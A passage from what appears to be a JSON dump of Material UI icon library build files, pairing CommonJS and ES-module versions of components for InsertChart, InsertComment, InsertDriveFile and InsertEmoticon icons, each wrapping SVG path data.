    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2M8 17c-.55 0-1-.45-1-1v-5c0-.55.45-1 1-1s1 .45 1 1v5c0 .55-.45 1-1 1m4 0c-.55 0-1-.45-1-1V8c0-.55.45-1 1-1s1 .45 1 1v8c0 .55-.45 1-1 1m4 0c-.55 0-1-.45-1-1v-2c0-.55.45-1 1-1s1 .45 1 1v2c0 .55-.45 1-1 1\"\n}), 'InsertChartRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/InsertChartRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2M8 17c-.55 0-1-.45-1-1v-5c0-.55.45-1 1-1s1 .45 1 1v5c0 .55-.45 1-1 1m4 0c-.55 0-1-.45-1-1V8c0-.55.45-1 1-1s1 .45 1 1v8c0 .55-.45 1-1 1m4 0c-.55 0-1-.45-1-1v-2c0-.55.45-1 1-1s1 .45 1 1v2c0 .55-.45 1-1 1\"\n}), 'InsertChartRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/InsertChartSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 3H3v18h18zM9 17H7v-7h2zm4 0h-2V7h2zm4 0h-2v-4h2z\"\n}), 'InsertChartSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/InsertChartSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 3H3v18h18zM9 17H7v-7h2zm4 0h-2V7h2zm4 0h-2v-4h2z\"\n}), 'InsertChartSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/InsertChartTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 5H5v14h14zM9 17H7v-7h2zm4 0h-2V7h2zm4 0h-2v-4h2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 5v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2H5c-1.1 0-2 .9-2 2m2 0h14v14H5zm2 5h2v7H7zm4-3h2v10h-2zm4 6h2v4h-2z\"\n}, \"1\")], 'InsertChartTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/InsertChartTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 5H5v14h14zM9 17H7v-7h2zm4 0h-2V7h2zm4 0h-2v-4h2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 5v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2H5c-1.1 0-2 .9-2 2m2 0h14v14H5zm2 5h2v7H7zm4-3h2v10h-2zm4 6h2v4h-2z\"\n}, \"1\")], 'InsertChartTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/InsertComment.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 2H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h14l4 4V4c0-1.1-.9-2-2-2m-2 12H6v-2h12zm0-3H6V9h12zm0-3H6V6h12z\"\n}), 'InsertComment');"
  },
  {
    "path": "packages/mui-icons-material/lib/InsertComment.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 2H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h14l4 4V4c0-1.1-.9-2-2-2m-2 12H6v-2h12zm0-3H6V9h12zm0-3H6V6h12z\"\n}), 'InsertComment');"
  },
  {
    "path": "packages/mui-icons-material/lib/InsertCommentOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 4v13.17L18.83 16H4V4zm0-2H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h14l4 4V4c0-1.1-.9-2-2-2m-2 10H6v2h12zm0-3H6v2h12zm0-3H6v2h12z\"\n}), 'InsertCommentOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/InsertCommentOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 4v13.17L18.83 16H4V4zm0-2H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h14l4 4V4c0-1.1-.9-2-2-2m-2 10H6v2h12zm0-3H6v2h12zm0-3H6v2h12z\"\n}), 'InsertCommentOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/InsertCommentRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 2H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h14l4 4V4c0-1.1-.9-2-2-2m-3 12H7c-.55 0-1-.45-1-1s.45-1 1-1h10c.55 0 1 .45 1 1s-.45 1-1 1m0-3H7c-.55 0-1-.45-1-1s.45-1 1-1h10c.55 0 1 .45 1 1s-.45 1-1 1m0-3H7c-.55 0-1-.45-1-1s.45-1 1-1h10c.55 0 1 .45 1 1s-.45 1-1 1\"\n}), 'InsertCommentRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/InsertCommentRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 2H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h14l4 4V4c0-1.1-.9-2-2-2m-3 12H7c-.55 0-1-.45-1-1s.45-1 1-1h10c.55 0 1 .45 1 1s-.45 1-1 1m0-3H7c-.55 0-1-.45-1-1s.45-1 1-1h10c.55 0 1 .45 1 1s-.45 1-1 1m0-3H7c-.55 0-1-.45-1-1s.45-1 1-1h10c.55 0 1 .45 1 1s-.45 1-1 1\"\n}), 'InsertCommentRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/InsertCommentSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 2H2v16h16l4 4zm-4 12H6v-2h12zm0-3H6V9h12zm0-3H6V6h12z\"\n}), 'InsertCommentSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/InsertCommentSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 2H2v16h16l4 4zm-4 12H6v-2h12zm0-3H6V9h12zm0-3H6V6h12z\"\n}), 'InsertCommentSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/InsertCommentTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 16h14.83L20 17.17V4H4zM6 6h12v2H6zm0 3h12v2H6zm0 3h12v2H6z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 2H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h14l4 4V4c0-1.1-.9-2-2-2m0 2v13.17L18.83 16H4V4zM6 12h12v2H6zm0-3h12v2H6zm0-3h12v2H6z\"\n}, \"1\")], 'InsertCommentTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/InsertCommentTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 16h14.83L20 17.17V4H4zM6 6h12v2H6zm0 3h12v2H6zm0 3h12v2H6z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 2H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h14l4 4V4c0-1.1-.9-2-2-2m0 2v13.17L18.83 16H4V4zM6 12h12v2H6zm0-3h12v2H6zm0-3h12v2H6z\"\n}, \"1\")], 'InsertCommentTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/InsertDriveFile.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 2c-1.1 0-1.99.9-1.99 2L4 20c0 1.1.89 2 1.99 2H18c1.1 0 2-.9 2-2V8l-6-6zm7 7V3.5L18.5 9z\"\n}), 'InsertDriveFile');"
  },
  {
    "path": "packages/mui-icons-material/lib/InsertDriveFile.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 2c-1.1 0-1.99.9-1.99 2L4 20c0 1.1.89 2 1.99 2H18c1.1 0 2-.9 2-2V8l-6-6zm7 7V3.5L18.5 9z\"\n}), 'InsertDriveFile');"
  },
  {
    "path": "packages/mui-icons-material/lib/InsertDriveFileOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 2H6c-1.1 0-1.99.9-1.99 2L4 20c0 1.1.89 2 1.99 2H18c1.1 0 2-.9 2-2V8zM6 20V4h7v5h5v11z\"\n}), 'InsertDriveFileOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/InsertDriveFileOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 2H6c-1.1 0-1.99.9-1.99 2L4 20c0 1.1.89 2 1.99 2H18c1.1 0 2-.9 2-2V8zM6 20V4h7v5h5v11z\"\n}), 'InsertDriveFileOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/InsertDriveFileRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 2c-1.1 0-1.99.9-1.99 2L4 20c0 1.1.89 2 1.99 2H18c1.1 0 2-.9 2-2V8.83c0-.53-.21-1.04-.59-1.41l-4.83-4.83c-.37-.38-.88-.59-1.41-.59zm7 6V3.5L18.5 9H14c-.55 0-1-.45-1-1\"\n}), 'InsertDriveFileRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/InsertDriveFileRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 2c-1.1 0-1.99.9-1.99 2L4 20c0 1.1.89 2 1.99 2H18c1.1 0 2-.9 2-2V8.83c0-.53-.21-1.04-.59-1.41l-4.83-4.83c-.37-.38-.88-.59-1.41-.59zm7 6V3.5L18.5 9H14c-.55 0-1-.45-1-1\"\n}), 'InsertDriveFileRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/InsertDriveFileSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4.01 2 4 22h16V8l-6-6zM13 9V3.5L18.5 9z\"\n}), 'InsertDriveFileSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/InsertDriveFileSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4.01 2 4 22h16V8l-6-6zM13 9V3.5L18.5 9z\"\n}), 'InsertDriveFileSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/InsertDriveFileTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 4H6v16h12V9h-5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m20 8-6-6H6c-1.1 0-1.99.9-1.99 2L4 20c0 1.1.89 2 1.99 2H18c1.1 0 2-.9 2-2zm-2 12H6V4h7v5h5z\"\n}, \"1\")], 'InsertDriveFileTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/InsertDriveFileTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 4H6v16h12V9h-5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m20 8-6-6H6c-1.1 0-1.99.9-1.99 2L4 20c0 1.1.89 2 1.99 2H18c1.1 0 2-.9 2-2zm-2 12H6V4h7v5h5z\"\n}, \"1\")], 'InsertDriveFileTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/InsertEmoticon.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.99 2C6.47 2 2 6.48 2 12s4.47 10 9.99 10C17.52 22 22 17.52 22 12S17.52 2 11.99 2M12 20c-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8-3.58 8-8 8m3.5-9c.83 0 1.5-.67 1.5-1.5S16.33 8 15.5 8 14 8.67 14 9.5s.67 1.5 1.5 1.5m-7 0c.83 0 1.5-.67 1.5-1.5S9.33 8 8.5 8 7 8.67 7 9.5 7.67 11 8.5 11m3.5 6.5c2.33 0 4.31-1.46 5.11-3.5H6.89c.8 2.04 2.78 3.5 5.11 3.5\"\n}), 'InsertEmoticon');"
  },
  {
    "path": "packages/mui-icons-material/lib/InsertEmoticon.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.99 2C6.47 2 2 6.48 2 12s4.47 10 9.99 10C17.52 22 22 17.52 22 12S17.52 2 11.99 2M12 20c-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8-3.58 8-8 8m3.5-9c.83 0 1.5-.67 1.5-1.5S16.33 8 15.5 8 14 8.67 14 9.5s.67 1.5 1.5 1.5m-7 0c.83 0 1.5-.67 1.5-1.5S9.33 8 8.5 8 7 8.67 7 9.5 7.67 11 8.5 11m3.5 6.5c2.33 0 4.31-1.46 5.11-3.5H6.89c.8 2.04 2.78 3.5 5.11 3.5\"\n}), 'InsertEmoticon');"
  },
  {
    "path": "packages/mui-icons-material/lib/InsertEmoticonOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.99 2C6.47 2 2 6.48 2 12s4.47 10 9.99 10C17.52 22 22 17.52 22 12S17.52 2 11.99 2M12 20c-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8-3.58 8-8 8m3.5-9c.83 0 1.5-.67 1.5-1.5S16.33 8 15.5 8 14 8.67 14 9.5s.67 1.5 1.5 1.5m-7 0c.83 0 1.5-.67 1.5-1.5S9.33 8 8.5 8 7 8.67 7 9.5 7.67 11 8.5 11m3.5 6.5c2.33 0 4.31-1.46 5.11-3.5H6.89c.8 2.04 2.78 3.5 5.11 3.5\"\n}), 'InsertEmoticonOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/InsertEmoticonOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.99 2C6.47 2 2 6.48 2 12s4.47 10 9.99 10C17.52 22 22 17.52 22 12S17.52 2 11.99 2M12 20c-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8-3.58 8-8 8m3.5-9c.83 0 1.5-.67 1.5-1.5S16.33 8 15.5 8 14 8.67 14 9.5s.67 1.5 1.5 1.5m-7 0c.83 0 1.5-.67 1.5-1.5S9.33 8 8.5 8 7 8.67 7 9.5 7.67 11 8.5 11m3.5 6.5c2.33 0 4.31-1.46 5.11-3.5H6.89c.8 2.04 2.78 3.5 5.11 3.5\"\n}), 'InsertEmoticonOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/InsertEmoticonRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.99 2C6.47 2 2 6.48 2 12s4.47 10 9.99 10C17.52 22 22 17.52 22 12S17.52 2 11.99 2M8.5 8c.83 0 1.5.67 1.5 1.5S9.33 11 8.5 11 7 10.33 7 9.5 7.67 8 8.5 8m8.25 6.75c-.95 1.64-2.72 2.75-4.75 2.75s-3.8-1.11-4.75-2.75c-.19-.33.06-.75.44-.75h8.62c.39 0 .63.42.44.75M15.5 11c-.83 0-1.5-.67-1.5-1.5S14.67 8 15.5 8s1.5.67 1.5 1.5-.67 1.5-1.5 1.5\"\n}), 'InsertEmoticonRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/InsertEmoticonRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.99 2C6.47 2 2 6.48 2 12s4.47 10 9.99 10C17.52 22 22 17.52 22 12S17.52 2 11.99 2M8.5 8c.83 0 1.5.67 1.5 1.5S9.33 11 8.5 11 7 10.33 7 9.5 7.67 8 8.5 8m8.25 6.75c-.95 1.64-2.72 2.75-4.75 2.75s-3.8-1.11-4.75-2.75c-.19-.33.06-.75.44-.75h8.62c.39 0 .63.42.44.75M15.5 11c-.83 0-1.5-.67-1.5-1.5S14.67 8 15.5 8s1.5.67 1.5 1.5-.67 1.5-1.5 1.5\"\n}), 'InsertEmoticonRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/InsertEmoticonSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.99 2C6.47 2 2 6.48 2 12s4.47 10 9.99 10C17.52 22 22 17.52 22 12S17.52 2 11.99 2M12 20c-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8-3.58 8-8 8m3.5-9c.83 0 1.5-.67 1.5-1.5S16.33 8 15.5 8 14 8.67 14 9.5s.67 1.5 1.5 1.5m-7 0c.83 0 1.5-.67 1.5-1.5S9.33 8 8.5 8 7 8.67 7 9.5 7.67 11 8.5 11m3.5 6.5c2.33 0 4.31-1.46 5.11-3.5H6.89c.8 2.04 2.78 3.5 5.11 3.5\"\n}), 'InsertEmoticonSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/InsertEmoticonSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.99 2C6.47 2 2 6.48 2 12s4.47 10 9.99 10C17.52 22 22 17.52 22 12S17.52 2 11.99 2M12 20c-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8-3.58 8-8 8m3.5-9c.83 0 1.5-.67 1.5-1.5S16.33 8 15.5 8 14 8.67 14 9.5s.67 1.5 1.5 1.5m-7 0c.83 0 1.5-.67 1.5-1.5S9.33 8 8.5 8 7 8.67 7 9.5 7.67 11 8.5 11m3.5 6.5c2.33 0 4.31-1.46 5.11-3.5H6.89c.8 2.04 2.78 3.5 5.11 3.5\"\n}), 'InsertEmoticonSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/InsertEmoticonTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 4c-4.42 0-8 3.58-8 8s3.58 8 8 8 8-3.58 8-8-3.58-8-8-8m3.5 4c.83 0 1.5.67 1.5 1.5s-.67 1.5-1.5 1.5-1.5-.67-1.5-1.5.67-1.5 1.5-1.5m-7 0c.83 0 1.5.67 1.5 1.5S9.33 11 8.5 11 7 10.33 7 9.5 7.67 8 8.5 8m3.5 9.5c-2.33 0-4.31-1.46-5.11-3.5h10.22c-.8 2.04-2.78 3.5-5.11 3.5\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"15.5\",\n  cy: \"9.5\",\n  r: \"1.5\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.99 2C6.47 2 2 6.48 2 12s4.47 10 9.99 10C17.52 22 22 17.52 22 12S17.52 2 11.99 2M12 20c-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8-3.58 8-8 8\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"8.5\",\n  cy: \"9.5\",\n  r: \"1.5\"\n}, \"3\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 17.5c2.33 0 4.31-1.46 5.11-3.5H6.89c.8 2.04 2.78 3.5 5.11 3.5\"\n}, \"4\")], 'InsertEmoticonTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/InsertEmoticonTwoTone.mjs",
